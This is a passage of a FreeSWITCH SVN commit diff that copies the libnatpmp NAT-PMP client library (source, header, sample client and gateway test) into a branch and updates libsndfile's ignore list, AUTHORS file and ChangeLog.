+int getnatpmprequesttimeout(natpmp_t * p, struct timeval * timeout)
+{
+	struct timeval now;
+	if(!p || !timeout)
+		return NATPMP_ERR_INVALIDARGS;
+	if(!p->has_pending_request)
+		return NATPMP_ERR_NOPENDINGREQ;
+	if(gettimeofday(&now, NULL) < 0)
+		return NATPMP_ERR_GETTIMEOFDAYERR;
+	timeout->tv_sec = p->retry_time.tv_sec - now.tv_sec;
+	timeout->tv_usec = p->retry_time.tv_usec - now.tv_usec;
+	if(timeout->tv_usec < 0) {
+		timeout->tv_usec += 1000000;
+		timeout->tv_sec--;
+	}
+	return 0;
+}
+
+int sendpublicaddressrequest(natpmp_t * p)
+{
+	if(!p)
+		return NATPMP_ERR_INVALIDARGS;
+	//static const unsigned char request[] = { 0, 0 };
+	p->pending_request[0] = 0;
+	p->pending_request[1] = 0;
+	p->pending_request_len = 2;
+	// TODO: return 0 instead of sizeof(request) ??
+	return sendnatpmprequest(p);
+}
+
+int sendnewportmappingrequest(natpmp_t * p, int protocol,
+                              uint16_t privateport, uint16_t publicport,
+							  uint32_t lifetime)
+{
+	if(!p || (protocol!=NATPMP_PROTOCOL_TCP && protocol!=NATPMP_PROTOCOL_UDP))
+		return NATPMP_ERR_INVALIDARGS;
+	p->pending_request[0] = 0;
+	p->pending_request[1] = (char)protocol;
+	p->pending_request[2] = 0;
+	p->pending_request[3] = 0;
+	*((uint16_t *)(p->pending_request + 4)) = htons(privateport);
+	*((uint16_t *)(p->pending_request + 6)) = htons(publicport);
+	*((uint32_t *)(p->pending_request + 8)) = htonl(lifetime);
+	p->pending_request_len = 12;
+	return sendnatpmprequest(p);
+}
+
+int readnatpmpresponse(natpmp_t * p, natpmpresp_t * response)
+{
+	unsigned char buf[16];
+	struct sockaddr_in addr;
+	socklen_t addrlen = sizeof(addr);
+	int n;
+	if(!p)
+		return NATPMP_ERR_INVALIDARGS;
+	n = recvfrom(p->s, (char *)buf, sizeof(buf), 0,
+	             (struct sockaddr *)&addr, &addrlen);
+	if(n<0)
+		switch(errno) {
+		/*case EAGAIN:*/
+		case EWOULDBLOCK:
+			n = NATPMP_TRYAGAIN;
+			break;
+		case ECONNREFUSED:
+			n = NATPMP_ERR_NOGATEWAYSUPPORT;
+			break;
+		default:
+			n = NATPMP_ERR_RECVFROM;
+		}
+	/* check that addr is correct (= gateway) */
+	else if(addr.sin_addr.s_addr != p->gateway)
+		n = NATPMP_ERR_WRONGPACKETSOURCE;
+	else {
+		response->resultcode = ntohs(*((uint16_t *)(buf + 2)));
+		response->epoch = ntohl(*((uint32_t *)(buf + 4)));
+		if(buf[0] != 0)
+			n = NATPMP_ERR_UNSUPPORTEDVERSION;
+		else if(buf[1] < 128 || buf[1] > 130)
+			n = NATPMP_ERR_UNSUPPORTEDOPCODE;
+		else if(response->resultcode != 0) {
+			switch(response->resultcode) {
+			case 1:
+				n = NATPMP_ERR_UNSUPPORTEDVERSION;
+				break;
+			case 2:
+				n = NATPMP_ERR_NOTAUTHORIZED;
+				break;
+			case 3:
+				n = NATPMP_ERR_NETWORKFAILURE;
+				break;
+			case 4:
+				n = NATPMP_ERR_OUTOFRESOURCES;
+				break;
+			case 5:
+				n = NATPMP_ERR_UNSUPPORTEDOPCODE;
+				break;
+			default:
+				n = NATPMP_ERR_UNDEFINEDERROR;
+			}
+		} else {
+			response->type = buf[1] & 0x7f;
+			if(buf[1] == 128)
+				//response->publicaddress.addr = *((uint32_t *)(buf + 8));
+				response->pnu.publicaddress.addr.s_addr = *((uint32_t *)(buf + 8));
+			else {
+				response->pnu.newportmapping.privateport = ntohs(*((uint16_t *)(buf + 8)));
+				response->pnu.newportmapping.mappedpublicport = ntohs(*((uint16_t *)(buf + 10)));
+				response->pnu.newportmapping.lifetime = ntohl(*((uint32_t *)(buf + 12)));
+			}
+			n = 0;
+		}
+	}
+	return n;
+}
+
+int readnatpmpresponseorretry(natpmp_t * p, natpmpresp_t * response)
+{
+	int n;
+	if(!p || !response)
+		return NATPMP_ERR_INVALIDARGS;
+	if(!p->has_pending_request)
+		return NATPMP_ERR_NOPENDINGREQ;
+	n = readnatpmpresponse(p, response);
+	if(n<0) {
+		if(n==NATPMP_TRYAGAIN) {
+			struct timeval now;
+			gettimeofday(&now, NULL);	// check errors !
+			if(timercmp(&now, &p->retry_time, >=)) {
+				int delay, r;
+				if(p->try_number >= 9) {
+					return NATPMP_ERR_NOGATEWAYSUPPORT;
+				}
+				/*printf("retry! %d\n", p->try_number);*/
+				delay = 250 * (1<<p->try_number);	// ms
+				/*for(i=0; i<p->try_number; i++)
+					delay += delay;*/
+				p->retry_time.tv_sec += (delay / 1000);
+				p->retry_time.tv_usec += (delay % 1000) * 1000;
+				if(p->retry_time.tv_usec >= 1000000) {
+					p->retry_time.tv_usec -= 1000000;
+					p->retry_time.tv_sec++;
+				}
+				p->try_number++;
+				r = sendpendingrequest(p);
+				if(r<0)
+					return r;
+			}
+		}
+	} else {
+		p->has_pending_request = 0;
+	}
+	return n;
+}
+
+#ifdef ENABLE_STRNATPMPERR
+const char * strnatpmperr(int r)
+{
+	const char * s;
+	switch(r) {
+	case NATPMP_ERR_INVALIDARGS:
+		s = "invalid arguments";
+		break;
+	case NATPMP_ERR_SOCKETERROR:
+		s = "socket() failed";
+		break;
+	case NATPMP_ERR_CANNOTGETGATEWAY:
+		s = "cannot get default gateway ip address";
+		break;
+	case NATPMP_ERR_CLOSEERR:
+#ifdef WIN32
+		s = "closesocket() failed";
+#else
+		s = "close() failed";
+#endif
+		break;
+	case NATPMP_ERR_RECVFROM:
+		s = "recvfrom() failed";
+		break;
+	case NATPMP_ERR_NOPENDINGREQ:
+		s = "no pending request";
+		break;
+	case NATPMP_ERR_NOGATEWAYSUPPORT:
+		s = "the gateway does not support nat-pmp";
+		break;
+	case NATPMP_ERR_CONNECTERR:
+		s = "connect() failed";
+		break;
+	case NATPMP_ERR_WRONGPACKETSOURCE:
+		s = "packet not received from the default gateway";
+		break;
+	case NATPMP_ERR_SENDERR:
+		s = "send() failed";
+		break;
+	case NATPMP_ERR_FCNTLERROR:
+		s = "fcntl() failed";
+		break;
+	case NATPMP_ERR_GETTIMEOFDAYERR:
+		s = "gettimeofday() failed";
+		break;
+	case NATPMP_ERR_UNSUPPORTEDVERSION:
+		s = "unsupported nat-pmp version error from server";
+		break;
+	case NATPMP_ERR_UNSUPPORTEDOPCODE:
+		s = "unsupported nat-pmp opcode error from server";
+		break;
+	case NATPMP_ERR_UNDEFINEDERROR:
+		s = "undefined nat-pmp server error";
+		break;
+	case NATPMP_ERR_NOTAUTHORIZED:
+		s = "not authorized";
+		break;
+	case NATPMP_ERR_NETWORKFAILURE:
+		s = "network failure";
+		break;
+	case NATPMP_ERR_OUTOFRESOURCES:
+		s = "nat-pmp server out of resources";
+		break;
+	default:
+		s = "Unknown libnatpmp error";
+	}
+	return s;
+}
+#endif
+

Deleted: freeswitch/branches/seven/libs/libnatpmp/natpmp.def

Copied: freeswitch/branches/seven/libs/libnatpmp/natpmp.def (from rev 14471, freeswitch/trunk/libs/libnatpmp/natpmp.def) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/natpmp.def	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/natpmp.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,11 @@
+LIBRARY
+; libnatpmp library
+
+EXPORTS
+  initnatpmp
+  closenatpmp
+  sendpublicaddressrequest
+  sendnewportmappingrequest
+  getnatpmprequesttimeout
+  readnatpmpresponseorretry
+  strnatpmperr

Deleted: freeswitch/branches/seven/libs/libnatpmp/natpmp.h

Copied: freeswitch/branches/seven/libs/libnatpmp/natpmp.h (from rev 14471, freeswitch/trunk/libs/libnatpmp/natpmp.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/natpmp.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/natpmp.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,194 @@
+/* $Id: natpmp.h,v 1.11 2009/02/27 22:38:05 nanard Exp $ */
+/* libnatpmp
+ * Copyright (c) 2007-2008, Thomas BERNARD <miniupnp@free.fr>
+ * http://miniupnp.free.fr/libnatpmp.html
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
+#ifndef __NATPMP_H__
+#define __NATPMP_H__
+
+/* NAT-PMP Port as defined by the NAT-PMP draft */
+#define NATPMP_PORT (5351)
+
+#include <time.h>
+#ifndef _MSC_VER
+#include <sys/time.h>
+#endif
+#ifdef WIN32
+#include <winsock2.h>
+#ifdef _MSC_VER
+typedef unsigned __int32 uint32_t;
+typedef unsigned __int16 uint16_t;
+#else
+#include <stdint.h>
+#endif
+#define in_addr_t uint32_t
+#include "declspec.h"
+#else
+#define LIBSPEC
+#include <netinet/in.h>
+#endif
+
+typedef struct {
+	int s;	/* socket */
+	in_addr_t gateway;	/* default gateway (IPv4) */
+	int has_pending_request;
+	char pending_request[12];
+	int pending_request_len;
+	int try_number;
+	struct timeval retry_time;
+} natpmp_t;
+
+typedef struct {
+	uint16_t type;	/* NATPMP_RESPTYPE_* */
+	uint16_t resultcode;	/* NAT-PMP response code */
+	uint32_t epoch;	/* Seconds since start of epoch */
+	union {
+		struct {
+			//in_addr_t addr;
+			struct in_addr addr;
+		} publicaddress;
+		struct {
+			uint16_t privateport;
+			uint16_t mappedpublicport;
+			uint32_t lifetime;
+		} newportmapping;
+	} pnu;
+} natpmpresp_t;
+
+/* possible values for type field of natpmpresp_t */
+#define NATPMP_RESPTYPE_PUBLICADDRESS (0)
+#define NATPMP_RESPTYPE_UDPPORTMAPPING (1)
+#define NATPMP_RESPTYPE_TCPPORTMAPPING (2)
+
+/* Values to pass to sendnewportmappingrequest() */
+#define NATPMP_PROTOCOL_UDP (1)
+#define NATPMP_PROTOCOL_TCP (2)
+
+/* return values */
+/* NATPMP_ERR_INVALIDARGS : invalid arguments passed to the function */
+#define NATPMP_ERR_INVALIDARGS (-1)
+/* NATPMP_ERR_SOCKETERROR : socket() failed. check errno for details */
+#define NATPMP_ERR_SOCKETERROR (-2)
+/* NATPMP_ERR_CANNOTGETGATEWAY : can't get default gateway IP */
+#define NATPMP_ERR_CANNOTGETGATEWAY (-3)
+/* NATPMP_ERR_CLOSEERR : close() failed. check errno for details */
+#define NATPMP_ERR_CLOSEERR (-4)
+/* NATPMP_ERR_RECVFROM : recvfrom() failed. check errno for details */
+#define NATPMP_ERR_RECVFROM (-5)
+/* NATPMP_ERR_NOPENDINGREQ : readnatpmpresponseorretry() called while
+ * no NAT-PMP request was pending */
+#define NATPMP_ERR_NOPENDINGREQ (-6)
+/* NATPMP_ERR_NOGATEWAYSUPPORT : the gateway does not support NAT-PMP */
+#define NATPMP_ERR_NOGATEWAYSUPPORT (-7)
+/* NATPMP_ERR_CONNECTERR : connect() failed. check errno for details */
+#define NATPMP_ERR_CONNECTERR (-8)
+/* NATPMP_ERR_WRONGPACKETSOURCE : packet not received from the network gateway */
+#define NATPMP_ERR_WRONGPACKETSOURCE (-9)
+/* NATPMP_ERR_SENDERR : send() failed. check errno for details */
+#define NATPMP_ERR_SENDERR (-10)
+/* NATPMP_ERR_FCNTLERROR : fcntl() failed. check errno for details */
+#define NATPMP_ERR_FCNTLERROR (-11)
+/* NATPMP_ERR_GETTIMEOFDAYERR : gettimeofday() failed. check errno for details */
+#define NATPMP_ERR_GETTIMEOFDAYERR (-12)
+
+/* */
+#define NATPMP_ERR_UNSUPPORTEDVERSION (-14)
+#define NATPMP_ERR_UNSUPPORTEDOPCODE (-15)
+
+/* Errors from the server : */
+#define NATPMP_ERR_UNDEFINEDERROR (-49)
+#define NATPMP_ERR_NOTAUTHORIZED (-51)
+#define NATPMP_ERR_NETWORKFAILURE (-52)
+#define NATPMP_ERR_OUTOFRESOURCES (-53)
+
+/* NATPMP_TRYAGAIN : no data available for the moment. try again later */
+#define NATPMP_TRYAGAIN (-100)
+
+/* initnatpmp()
+ * initialize a natpmp_t object
+ * Return values :
+ * 0 = OK
+ * NATPMP_ERR_INVALIDARGS
+ * NATPMP_ERR_SOCKETERROR
+ * NATPMP_ERR_FCNTLERROR
+ * NATPMP_ERR_CANNOTGETGATEWAY
+ * NATPMP_ERR_CONNECTERR */
+LIBSPEC int initnatpmp(natpmp_t * p);
+
+/* closenatpmp()
+ * close resources associated with a natpmp_t object
+ * Return values :
+ * 0 = OK
+ * NATPMP_ERR_INVALIDARGS
+ * NATPMP_ERR_CLOSEERR */
+LIBSPEC int closenatpmp(natpmp_t * p);
+
+/* sendpublicaddressrequest()
+ * send a public address NAT-PMP request to the network gateway
+ * Return values :
+ * 2 = OK (size of the request)
+ * NATPMP_ERR_INVALIDARGS
+ * NATPMP_ERR_SENDERR */
+LIBSPEC int sendpublicaddressrequest(natpmp_t * p);
+
+/* sendnewportmappingrequest()
+ * send a new port mapping NAT-PMP request to the network gateway
+ * Arguments :
+ * protocol is either NATPMP_PROTOCOL_TCP or NATPMP_PROTOCOL_UDP,
+ * lifetime is in seconds.
+ * To remove a port mapping, set lifetime to zero.
+ * To remove all port mappings to the host, set lifetime and both ports
+ * to zero.
+ * Return values :
+ * 12 = OK (size of the request)
+ * NATPMP_ERR_INVALIDARGS
+ * NATPMP_ERR_SENDERR */
+LIBSPEC int sendnewportmappingrequest(natpmp_t * p, int protocol,
+                              uint16_t privateport, uint16_t publicport,
+							  uint32_t lifetime);
+
+/* getnatpmprequesttimeout()
+ * fills the timeval structure with the timeout duration of the
+ * currently pending NAT-PMP request.
+ * Return values :
+ * 0 = OK
+ * NATPMP_ERR_INVALIDARGS
+ * NATPMP_ERR_GETTIMEOFDAYERR
+ * NATPMP_ERR_NOPENDINGREQ */
+LIBSPEC int getnatpmprequesttimeout(natpmp_t * p, struct timeval * timeout);
+
+/* readnatpmpresponseorretry()
+ * fills the natpmpresp_t structure if possible
+ * Return values :
+ * 0 = OK
+ * NATPMP_TRYAGAIN
+ * NATPMP_ERR_INVALIDARGS
+ * NATPMP_ERR_NOPENDINGREQ
+ * NATPMP_ERR_NOGATEWAYSUPPORT
+ * NATPMP_ERR_RECVFROM
+ * NATPMP_ERR_WRONGPACKETSOURCE
+ * NATPMP_ERR_UNSUPPORTEDVERSION
+ * NATPMP_ERR_UNSUPPORTEDOPCODE
+ * NATPMP_ERR_NOTAUTHORIZED
+ * NATPMP_ERR_NETWORKFAILURE
+ * NATPMP_ERR_OUTOFRESOURCES
+ * NATPMP_ERR_UNSUPPORTEDOPCODE
+ * NATPMP_ERR_UNDEFINEDERROR */
+LIBSPEC int readnatpmpresponseorretry(natpmp_t * p, natpmpresp_t * response);
+
+#ifdef ENABLE_STRNATPMPERR
+LIBSPEC const char * strnatpmperr(int t);
+#endif
+
+#endif

Deleted: freeswitch/branches/seven/libs/libnatpmp/natpmpc.c

Copied: freeswitch/branches/seven/libs/libnatpmp/natpmpc.c (from rev 14471, freeswitch/trunk/libs/libnatpmp/natpmpc.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/natpmpc.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/natpmpc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,202 @@
+/* $Id: natpmpc.c,v 1.6 2008/07/02 22:33:06 nanard Exp $ */
+/* libnatpmp
+ * Copyright (c) 2007-2008, Thomas BERNARD <miniupnp@free.fr>
+ * http://miniupnp.free.fr/libnatpmp.html
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
+#include <stdio.h>
+#include <errno.h>
+#include <string.h>
+#include <unistd.h>
+#ifdef WIN32
+#include <winsock2.h>
+#else
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#endif
+#include "natpmp.h"
+
+void usage(FILE * out, const char * argv0)
+{
+	fprintf(out, "Usage :\n");
+	fprintf(out, "  %s\n", argv0);
+	fprintf(out, "\tdisplay the public IP address.\n");
+	fprintf(out, "  %s -h\n", argv0);
+	fprintf(out, "\tdisplay this help screen.\n");
+	fprintf(out, "  %s -a <public port> <private port> <protocol> [lifetime]\n", argv0);
+	fprintf(out, "\tadd a port mapping.\n");
+	fprintf(out, "\n  In order to remove a mapping, set it with a lifetime of 0 seconds.\n");
+	fprintf(out, "  To remove all mappings for your machine, use 0 as private port and lifetime.\n");
+}
+
+/* sample code for using libnatpmp */
+int main(int argc, char * * argv)
+{
+	natpmp_t natpmp;
+	natpmpresp_t response;
+	int r;
+	int sav_errno;
+	struct timeval timeout;
+	fd_set fds;
+	int i;
+	int protocol = 0;
+	uint16_t privateport = 0;
+	uint16_t publicport = 0;
+	uint32_t lifetime = 3600;
+	int command = 0;
+
+#ifdef WIN32
+	WSADATA wsaData;
+	int nResult = WSAStartup(MAKEWORD(2,2), &wsaData);
+	if(nResult != NO_ERROR)
+	{
+		fprintf(stderr, "WSAStartup() failed.\n");
+		return -1;
+	}
+#endif
+
+	/* argument parsing */
+	for(i=1; i<argc; i++) {
+		if(argv[i][0] == '-') {
+			switch(argv[i][1]) {
+			case 'h':
+				usage(stdout, argv[0]);
+				return 0;
+			case 'a':
+				command = 'a';
+				if(argc < i + 3) {
+					fprintf(stderr, "Not enough arguments for option -a\n");
+					return 1;
+				}
+				i++;
+				if(1 != sscanf(argv[i], "%hu", &publicport)) {
+					fprintf(stderr, "%s is not a correct 16bits unsigned integer\n", argv[i]);
+					return 1;
+				}
+				i++;
+				if(1 != sscanf(argv[i], "%hu", &privateport)) {
+					fprintf(stderr, "%s is not a correct 16bits unsigned integer\n", argv[i]);
+					return 1;
+				}
+				i++;
+				if(0 == strcasecmp(argv[i], "tcp"))
+					protocol = NATPMP_PROTOCOL_TCP;
+				else if(0 == strcasecmp(argv[i], "udp"))
+					protocol = NATPMP_PROTOCOL_UDP;
+				else {
+					fprintf(stderr, "%s is not a valid protocol\n", argv[i]);
+					return 1;
+				}
+				if(argc >= i) {
+					i++;
+					if(1 != sscanf(argv[i], "%u", &lifetime)) {
+						fprintf(stderr, "%s is not a correct 32bits unsigned integer\n", argv[i]);
+					}
+				}
+				break;
+			default:
+				fprintf(stderr, "Unknown option %s\n", argv[i]);
+				usage(stderr, argv[0]);
+				return 1;
+			}
+		} else {
+			fprintf(stderr, "Unknown option %s\n", argv[i]);
+			usage(stderr, argv[0]);
+			return 1;
+		}
+	}
+
+	/* initnatpmp() */
+	r = initnatpmp(&natpmp);
+	printf("initnatpmp() returned %d (%s)\n", r, r?"FAILED":"SUCCESS");
+	if(r<0)
+		return 1;
+
+	/* sendpublicaddressrequest() */
+	r = sendpublicaddressrequest(&natpmp);
+	printf("sendpublicaddressrequest returned %d (%s)\n",
+	       r, r==2?"SUCCESS":"FAILED");
+	if(r<0)
+		return 1;
+
+	do {
+		FD_ZERO(&fds);
+		FD_SET(natpmp.s, &fds);
+		getnatpmprequesttimeout(&natpmp, &timeout);
+		select(FD_SETSIZE, &fds, NULL, NULL, &timeout);
+		r = readnatpmpresponseorretry(&natpmp, &response);
+		sav_errno = errno;
+		printf("readnatpmpresponseorretry returned %d (%s)\n",
+		       r, r==0?"OK":(r==NATPMP_TRYAGAIN?"TRY AGAIN":"FAILED"));
+		if(r<0 && r!=NATPMP_TRYAGAIN) {
+#ifdef ENABLE_STRNATPMPERR
+			fprintf(stderr, "readnatpmpresponseorretry() failed : %s\n",
+			        strnatpmperr(r));
+#endif
+			fprintf(stderr, "  errno=%d '%s'\n", 
+			        sav_errno, strerror(sav_errno));
+		}
+	} while(r==NATPMP_TRYAGAIN);
+	if(r<0)
+		return 1;
+
+	/* TODO : check that response.type == 0 */
+	printf("Public IP address : %s\n", inet_ntoa(response.pnu.publicaddress.addr));
+	printf("epoch = %u\n", response.epoch);
+
+	if(command == 'a') {
+		/* sendnewportmappingrequest() */
+		r = sendnewportmappingrequest(&natpmp, protocol,
+        	                      privateport, publicport,
+								  lifetime);
+		printf("sendnewportmappingrequest returned %d (%s)\n",
+		       r, r==12?"SUCCESS":"FAILED");
+		if(r < 0)
+			return 1;
+
+		do {
+			FD_ZERO(&fds);
+			FD_SET(natpmp.s, &fds);
+			getnatpmprequesttimeout(&natpmp, &timeout);
+			select(FD_SETSIZE, &fds, NULL, NULL, &timeout);
+			r = readnatpmpresponseorretry(&natpmp, &response);
+			printf("readnatpmpresponseorretry returned %d (%s)\n",
+			       r, r==0?"OK":(r==NATPMP_TRYAGAIN?"TRY AGAIN":"FAILED"));
+		} while(r==NATPMP_TRYAGAIN);
+		if(r<0) {
+#ifdef ENABLE_STRNATPMPERR
+			fprintf(stderr, "readnatpmpresponseorretry() failed : %s\n",
+			        strnatpmperr(r));
+#endif
+			return 1;
+		}
+	
+		printf("Mapped public port %hu protocol %s to local port %hu "
+		       "liftime %u\n",
+	    	   response.pnu.newportmapping.mappedpublicport,
+			   response.type == NATPMP_RESPTYPE_UDPPORTMAPPING ? "UDP" :
+			    (response.type == NATPMP_RESPTYPE_TCPPORTMAPPING ? "TCP" :
+			     "UNKNOWN"),
+			   response.pnu.newportmapping.privateport,
+			   response.pnu.newportmapping.lifetime);
+		printf("epoch = %u\n", response.epoch);
+	}
+
+	r = closenatpmp(&natpmp);
+	printf("closenatpmp() returned %d (%s)\n", r, r==0?"SUCCESS":"FAILED");
+	if(r<0)
+		return 1;
+
+	return 0;
+}
+

Deleted: freeswitch/branches/seven/libs/libnatpmp/testgetgateway.c

Copied: freeswitch/branches/seven/libs/libnatpmp/testgetgateway.c (from rev 14471, freeswitch/trunk/libs/libnatpmp/testgetgateway.c) (0 => 14472)


--- freeswitch/branches/seven/libs/libnatpmp/testgetgateway.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libnatpmp/testgetgateway.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+/* $Id: testgetgateway.c,v 1.4 2008/07/02 22:33:06 nanard Exp $ */
+/* libnatpmp
+ * Copyright (c) 2007, Thomas BERNARD <miniupnp@free.fr>
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+ * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+ * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+ * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+ * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+ * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */
+#include <stdio.h>
+#ifdef WIN32
+#include <winsock2.h>
+#else
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#endif
+#include "getgateway.h"
+
+int main(int argc, char * * argv)
+{
+	struct in_addr gatewayaddr;
+	int r;
+#ifdef WIN32
+	uint32_t temp = 0;
+	r = getdefaultgateway(&temp);
+	gatewayaddr.S_un.S_addr = temp;
+#else
+	r = getdefaultgateway(&(gatewayaddr.s_addr));
+#endif
+	if(r>=0)
+		printf("default gateway : %s\n", inet_ntoa(gatewayaddr));
+	else
+		fprintf(stderr, "getdefaultgateway() failed\n");
+	return 0;
+}
+

Deleted: freeswitch/branches/seven/libs/libnatpmp/wingettimeofday.c

Copied: freeswitch/branches/seven/libs/libnatpmp/wingettimeofday.c (from rev 14471, freeswitch/trunk/libs/libnatpmp/wingettimeofday.c) ( => )




Property changes: freeswitch/branches/seven/libs/libsndfile


Name: svn:ignore
   - Makefile.in
configure
autom4te.cache
sndfile.pc
config.log
.complete
Makefile
config.status
libsndfile.spec
libtool
depcomp
compile
config.guess
ltmain.sh
config.sub
missing
aclocal.m4
install-sh
   + Makefile.in
configure
autom4te.cache
sndfile.pc
config.log
.complete
Makefile
config.status
libsndfile.spec
libtool
depcomp
compile
config.guess
ltmain.sh
config.sub
missing
aclocal.m4
install-sh
configure.lineno

Modified: freeswitch/branches/seven/libs/libsndfile/.update (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/.update	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +1 @@
-Fri Mar 16 17:17:51 EDT 2007
+Thu May 21 16:11:03 CDT 2009

Modified: freeswitch/branches/seven/libs/libsndfile/AUTHORS (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/AUTHORS	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/AUTHORS	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,14 +1,14 @@
-The main author of libsndfile is Erik de Castro Lopo <erikd@mega-nerd.com>.
+The main author of libsndfile is Erik de Castro Lopo <erikd@mega-nerd.com>
+apart from code in the following directories:
 
-The code in the src/GSM610 directory was written by Jutta Degener 
-<jutta@cs.tu-berlin.de> and Carsten Bormann <cabo@cs.tu-berlin.de>.
-They should not be contacted in relation to libsndfile or the GSM 6.10 code 
-that is part of libsndfile. Their original code can be found at:
+ - src/GSM610 : Written by Jutta Degener <jutta@cs.tu-berlin.de> and Carsten
+   Bormann <cabo@cs.tu-berlin.de>. They should not be contacted in relation to
+   libsndfile or the GSM 6.10 code that is part of libsndfile. Their original
+   code can be found at:
 
-    http://kbs.cs.tu-berlin.de/~jutta/toast.html
+       http://kbs.cs.tu-berlin.de/~jutta/toast.html
 
-Code in the src/G72x directory was released by Sun Microsystems, Inc. to the 
-public domain. Minor modifications were required to integrate these files 
-into libsndfile. The changes are listed in src/G72x/ChangeLog.
+ - src/G72x : Released by Sun Microsystems, Inc. to the public domain. Minor
+   modifications were required to integrate these files into libsndfile. The
+   changes are listed in src/G72x/ChangeLog.
 
-

Copied: freeswitch/branches/seven/libs/libsndfile/Cfg (from rev 14471, freeswitch/trunk/libs/libsndfile/Cfg)

Property changes: freeswitch/branches/seven/libs/libsndfile/Cfg


Name: svn:ignore
   + depcomp
compile
missing
config.guess
ltmain.sh
config.sub
install-sh

Modified: freeswitch/branches/seven/libs/libsndfile/ChangeLog (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/ChangeLog	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/ChangeLog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,15 +1,1671 @@
-2006-08-31 Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+2009-03-03  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
 
+    * configure.ac
+    Detect vorbis_version_string() correctly.
+
+2009-03-02  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * doc/index.html
+    Add a 'See Also' section with a link to sndfile-tools.
+
+    * NEWS README doc/*.html
+    Updates for 1.0.19 release.
+
+    * configure.ac
+    Fix --enable-external-libs logic.
+
+2009-03-01  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/aiff.c
+    Fix resource leak and potential read beyond end of buffer.
+
+    * src/nist.c
+    Fix reading of header value sample_n_bytes.
+
+    * src/sd2.c src/wav.c
+    Fix potential read beyond end of buffer.
+
+    * src/sndfile.c src/svx.c
+    Check return values of file_io functions.
+
+    * tests/win32_test.c
+    Fix resource leak.
+
+    * configure.ac
+    Detect the presence/absence of vorbis_version_string() in libvorbis.
+
+    * src/ogg.c
+    Only call vorbis_version_string() from libvorbis if present.
+
+2009-02-24  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * tests/win32_test.c
+    Don't use sprintf, even on windows.
+
+    * src/aiff.c src/rf64.c src/wav.c
+    Eliminate dead code, more validation of data read from file.
+
+2009-02-22  Erik de Castro Lopo  <erikd AT mega-nerd DOT com>
+
+    * src/ima_adpcm.c
+    Clamp values to a valid range before indexing ima_step_size array.
+
+    * src/GSM610/*.c tests/*c programs/*.c src/audio_detect.c
+    Don't include un-needed headers.
+
